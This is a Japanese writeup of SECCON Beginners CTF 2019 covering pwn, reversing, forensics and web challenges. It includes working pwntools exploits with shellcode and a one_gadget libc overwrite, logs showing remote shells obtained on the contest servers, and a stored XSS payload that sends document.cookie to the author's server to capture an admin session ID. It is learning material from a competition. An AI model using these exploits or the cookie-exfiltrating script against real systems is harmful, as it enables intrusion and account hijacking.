SECCON Beginners CTF 2019 writeup
SECCON Beginners CTF 2019
yharima で参加.誰もいないかと思ってたら後輩二人が参加してくれたので3人で.
チームは 3415 pts の 11th, 個人は 2363 pts の 19th. なぜ10位以内に入れないのか….
[warmup] Welcome
IRC 繋ぎに行くだけ.
ctf4b{welcome_to_seccon_beginners_ctf}
memo
最初これが Pwn の warmup だったと思うんだけど途中で変わった…?
入力の長さを受け取って,そのあとその入力を受け付けるだけのプログラム.
objdump すると hidden
という関数があって EIP 奪ってこいつに飛ばせば勝ちっぽい.
入力は 0x1f
と比較しているので 32 以上を入れないとだめっぽい.
動かしていくと長さ調整すると書き込みスタックのアドレスが変動していくのが観測できた(ローカル GDB 環境).
32: 0x7fffffffe430 =>0x7fffffffe400 64: 0x7fffffffe430 => 0x7fffffffe3e0
戻りアドレスが 0x7fffffffe480
においてあるのでそのように長さを調整すれば良いかと思ったが,
増やしていくと遠ざかっていく.負の長さ入れたらどうなるんだろうと思ったら通ってしまい,スタックの位置が調整できた.
あとは長さを GDB で確認して調整しつつ hidden に飛ばしてあげればいい.
ただ,自分は hidden の先頭アドレスだとローカルでは上がるがリモートでは上がらなかったので,適当にずらしたら動いた.スタックでも壊れてたんだろうか?
from pwn import * context.arch = 'amd64' con = remote('133.242.68.223', 35285) con.recvregex('Input size :') con.sendline('-96') con.recvregex('Input Content :') payload = pack(0x4007c1) * 4 con.sendline(payload) con.recvline() con.interactive()
上記を実行すると以下のような感じでフラグがとれる.
(CTF) mbp:CTF yuta1024$ python memo.py [+] Opening connection to 133.242.68.223 on port 35285: Done [*] Switching to interactive mode $ ls -l total 16 -rw-r----- 1 root memo 27 May 19 11:00 flag.txt -rwxr-x--- 1 root memo 8632 May 22 16:13 memo $ cat flag.txt ctf4b{h4ckn3y3d_574ck_b0f} $ [*] Interrupted [*] Closed connection to 133.242.68.223 port 35285
[warmup] Seccompare
動かすと flag を引数にとって動かすらしい.
objdump してみると以下のように露骨にフラグっぽいものが.
400630: c6 45 d0 63 mov BYTE PTR [rbp-0x30],0x63 400634: c6 45 d1 74 mov BYTE PTR [rbp-0x2f],0x74 (snip) 40069c: c6 45 eb 7d mov BYTE PTR [rbp-0x15],0x7d 4006a0: c6 45 ec 00 mov BYTE PTR [rbp-0x14],0x0
以下のワンラインナーで適当に処理した.
$ objdump -M intel -d seccompare | grep "mov BYTE PTR \[rbp-" | awk -F ',' '{print $2}' | xargs -I% perl -e 'print chr(%)' ctf4b{5tr1ngs_1s_n0t_en0ugh}
[warmup] shellcoder
シェルコードを食わして実行してくれるプログラム.
ただし,制限として "b", "i", "n", "s", "h" が禁止でペイロード長は 0x28 まで.
禁止文字列は基本シェルコードの "//bin/sh" を push するところが問題になるだけなのでそこを4で割ったものを push して後続で調整してあげる方針に(2で割ると偶然禁止文字列にあたってしまうため).
以下のようなシェルコードを書いて動作を確認.
.intel_syntax noprefix .globl _start _start: xor rdx, rdx push rdx mov rax, 0x1a1ccbcbdb9a588b shl rax, 0x02 or rax, 0x0f push rax mov rdi, rsp push rdx push rdi mov rsi, rsp lea rax, [rdx+59] syscall
4倍するより2bit 左 shift するほうが命令列が少ない.末尾は 0xf なので add してもよかったがこれも節約のため 0x0f と or することにした.
これをコンパイルして16進数にしたら,あとはサーバに投げれば以下のようにフラグが取れる.
from pwn import * context.arch = 'amd64' con = remote('153.120.129.186', 20000) shellcode = "\x48\x31\xd2\x52\x48\xb8\x8b\x58\x9a\xdb\xcb\xcb\x1c\x1a\x48\xc1\xe0\x02\x48\x83\xc8\x0f\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05" con.recvline() con.sendline(shellcode) con.interactive()
実行結果は以下.
(CTF) mbp:CTF yuta1024$ python shellcoder.py [+] Opening connection to 153.120.129.186 on port 20000: Done [*] Switching to interactive mode $ ls flag.txt shellcoder $ cat flag.txt ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
Sliding puzzle
スライドパズルを解くだけのゲーム.
Python でこういうの書くの苦手なので solver は C++ で書いて通信部分だけ Python というキモい構成.
久々に C++ 書いて実装力の低下を感じた.30分ちょっとかかった気がする.
#include <iostream> #include <fstream> #include <vector> #include <queue> #include <set> using namespace std; const int SIZE = 3; const int dx[] = {0, 1, 0, -1}; const int dy[] = {-1, 0, 1, 0}; const int dm[] = {0, 1, 2, 3}; class State { public: int pos; vector<vector<int> > p; vector<int> move; State(int pos, vector<vector<int> > p, vector<int> move) { this->pos = pos; this->p = p; this->move = move; } }; bool validate(const vector<vector<int> >& p) { int prev = -1; for (int i = 0; i < SIZE; ++i) { for (int j = 0; j < SIZE; ++j) { if (prev > p[i][j]) { return false; } prev = p[i][j]; } } return true; } vector<int> solve(const vector<vector<int> >& p, int pos) { queue<State> q; q.push(State(pos, p, vector<int>())); set<vector<vector<int> > > visited; while (!q.empty()) { const State s = q.front(); q.pop(); visited.insert(s.p); if (validate(s.p)) { return s.move; } for (int d = 0; d < 4; ++d) { int xx = s.pos % SIZE + dx[d]; int yy = s.pos / SIZE + dy[d]; if (xx < 0 || xx >= SIZE || yy < 0 || yy >= SIZE) { continue; } vector<vector<int> > pp = s.p; swap(pp[s.pos / SIZE][s.pos % SIZE], pp[yy][xx]); if (visited.find(pp) == visited.end()) { vector<int> mm = s.move; mm.push_back(dm[d]); int new_pos = yy * SIZE + xx; q.push(State(new_pos, pp, mm)); } } } } int main() { int pos = -1; vector<vector<int> > p(SIZE, vector<int>(SIZE)); ifstream ifs("in.txt"); cin.rdbuf(ifs.rdbuf()); for (int i = 0; i < SIZE; ++i) { for (int j = 0; j < SIZE; ++j) { cin >> p[i][j]; if (p[i][j] == 0) { pos = i * SIZE + j; } } } vector<int> ans = solve(p, pos); for (int i = 0; i < ans.size(); ++i) { cout << ans[i] << " "; } cout << endl; return 0; }
これをコンパイルして,以下の Python プログラムで処理する.
from pwn import * import subprocess import sys con = remote('133.242.50.201', 24912) for i in range(1000): print con.recvline() l1 = con.recvline().split(' ') print l1 l2 = con.recvline().split(' ') print l2 l3 = con.recvline().split(' ') print l3 print con.recvline() print con.recvline() p = [ l1[1], l1[3], l1[5], l2[1], l2[3], l2[5], l3[1], l3[3], l3[5], ] print p with open('./in.txt', mode='w') as f: f.write(' '.join(p)) res = subprocess.check_output("./a.out") con.sendline(','.join(res.strip().split(' ')))
何問あるかわからんかったので適当に 1000. 100 だとだめだった気がする.
これを実行するとフラグが取れる.
ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
Dump
ダウンロードして file してみると pcap であることがわかる.
Wireshark で開くと HTTP 通信がある.どうやら webshell が置いてあってフラグを引っこ抜いてるらしい.
hexdump -e '16/1 "%02.3o " "\n"' /home/ctf4b/flag
のリクエストの応答を抜いてくればよさそう.
ただし,8進数に変換されているので適当にプログラムを書いてゴニョゴニョしてバイナリとして書き出す.
なにかいい方法があるんだろうけど,よくわからんかったので力技でゴミスクリプト書いた(恥ずかしいので載せない).
結局は zip ファイルなので解凍すると jpeg 画像がでてきてその中にフラグが書いてある.
ctf4b{hexdump_is_very_useful
Leakage
パッと見て angr かけたらいけそうと思って以下のどっかで書いた(Google CTF のどれかで angr のサンプルにあったはず)コードを流用して終わり.
import angr import claripy proj = angr.Project('./leakage', load_options={"auto_load_libs": False}) input_size = 0x22 # 4005ff argv1 = claripy.BVS("argv1", input_size * 8) initial_state = proj.factory.entry_state(args=["./leakage", argv1], add_options={angr.options.LAZY_SOLVES}) initial_state.libc.buf_symbolic_bytes=input_size + 1 for byte in argv1.chop(8): initial_state.add_constraints(byte != '\x00') # null initial_state.add_constraints(byte >= ' ') # '\x20' initial_state.add_constraints(byte <= '~') # '\x7e' sm = proj.factory.simgr(initial_state) sm.explore(find=0x4006ae, avoid=0x4006bc) found = sm.found[0] solution = found.se.eval(argv1, cast_to=str) solution = solution[:solution.find("}")+1] print solution
適当に待ってるとフラグが出る.
ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}
Linear Operation
これも angr に流すだけのゲームだった.以下のサイトを参考に変更しないといけないところだけ変えた.
angrでシンボリック実行をやってみる - ももいろテクノロジー
import angr p = angr.Project('./linear_operation', load_options={'auto_load_libs': False}) addr_main = 0x40cee1 addr_succeeded = 0x40cf78 addr_failed = 0x40cf86 print "main = %x" % addr_main print "succeeded = %x" % addr_succeeded print "failed = %x" % addr_failed initial_state = p.factory.blank_state(addr=addr_main) initial_path = p.factory.path(initial_state) pg = p.factory.path_group(initial_path) e = pg.explore(find=(addr_succeeded,), avoid=(addr_failed,)) if len(e.found) > 0: print 'Dump stdin at succeeded():' s = e.found[0].state print "%r" % s.posix.dumps(0)
これもしばらく待ってるとフラグが出る.
ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}
OneLine
今回一番苦労した問題.もう二度と one-gadget のことは忘れない.
スタック問題ではなく heap が 40 byte 確保されそこに読み書きしている.
そしてなぜかその heap の末尾にリンクされた libc の write のアドレスが書き込まれている.
実行してみるとわかるが,1回目の入力ときに A
だけとか入力するとなにか怪しい文字列が表示される.
You can input text here! >> A A ����Once more again!
まず A
と入力して write のアドレスを拾って,付属されている libc の write の offset を確認して libc base アドレスをリークする.
これで2回目は 32 byte 書き込んだあと,特定のアドレスを書き込むことで libc 内の任意の命令を呼び出せるようになるので,もう勝ったな….という気持ちになってから約5時間溶かしました.
迷走した内容は libc 内の system を呼べばいいが rdi が 1 固定で ROP gadget つんでなんとかするのか,でもスタックがががが,みたいな泥沼です.
結局途中で Linear Operation
なども見つつ調べていたら偶然 one-gadget なるものを知った.
one-gadget は libc 内にあってその命令に飛ばすとシェルがあがる一連の gadget 列らしい.なんだその便利なものは….
ということで以下を使って付属の libc を探索してみた.
GitHub - david942j/one_gadget: The best tool for finding one gadget RCE in libc.so.6
結果は以下のような感じ.
$ one_gadget ./libc-2.27.so 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
制限があるが, 2つ目は NULL になりそうだなあとおもって採用したらいけた.
from pwn import * context.arch = 'amd64' con = remote('153.120.129.186', 10000) write_offset = 0x110140 system_offset = 0x04f440 con.recvregex('>> ') con.sendline('A') msg = con.recvregex('>> ') libc_base_addr = unpack(msg[32:40]) - write_offset print "[*] libc_base_addr = 0x%x" % unpack(msg[32:40]) payload = 'A' * 32 payload += pack(libc_base_addr + 0x4f322) # one gadget con.sendline(payload) con.interactive()
実行すると以下のようにフラグをとれる.
(CTF) mbp:CTF yuta1024$ python oneline.py [+] Opening connection to 153.120.129.186 on port 10000: Done [*] libc_base_addr = 0x7f91c347e140 [*] Switching to interactive mode $ ls -l total 16 -rw-r----- 1 root oneline 34 May 22 15:59 flag.txt -rwxr-x--- 1 root oneline 8624 May 22 15:59 oneline $ cat flag.txt ctf4b{0v3rwr!t3_Func7!on_p0int3r}
Himitsu
後輩がやってて,ちょっと見てたんだけど Pwn で時間溶かしててあまりみれてなかった問題.
最終的に寝てるときに解法が降ってきてそのとおりにやったら解けた.
[#記事ID#]
みたいにやると他の記事を読み込める.でもその記事がすでに <script>
とか含んでると死ぬ(正確には <
とかだけど).
後輩が同時にやったら回避できそうだけど同じタイトルだとエラーになるから無理,みたいな話をしていた.
先に未来の記事 ID を投稿しておいて,その時間になったらスクリプト仕込んだ記事を投稿すると,でクリアできる.
記事 ID 自体は単純に以下のようなロジックで生成されている(タイムゾーンは Asia/Tokyo になってるので注意).
$created_at = date("Y/m/d H:i"); $article_key = md5($username . $created_at . $title)
user は同じなので分までの時間とタイトルさえわかれば予測可能.
以下のような PHP スクリプトを書いて先に未来の記事 ID を予測して投稿する.
(snip になってるのは適当に自身のサーバアドレスとかいれてください)
<?php date_default_timezone_set("Asia/Tokyo"); $username = "foofoo"; $title = "<script>location.href = 'http://<snip>/?' + document.cookie;</script>"; $created_at = date("2019/05/26 04:37"); $article_key = md5($username . $created_at . $title); var_dump($article_key);
該当時間になったら(上記の場合だと 4:37 になったら)以下の記事を投稿する.
<script>location.href = 'http://<snip>/?' + document.cookie;</script>
するとサーバに以下のようなリクエストがきて admin の セッション ID を抜ける.
xxx.xxx.xxx.xxx - - [25/May/2019:19:37:20 +0000] "GET /?PHPSESSID=029711d08a7b6b3254b4028959f25d5d HTTP/1.1" 200 3520 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/74.0.3729.157 Safari/537.36" "-"
あとはこのセッション ID をセットして開くとフラグが書かれた記事がみれる.
まとめ
それなりに解けたが,10位以内に入りたかったなあ….Pwn も全部解きたかったなあ…. いろいろ勉強が足りないところがわかったので,頑張っていきたい.あんまり時間ないけど….
追記1
追記2
チームメンバーの writeup を貼っておきます.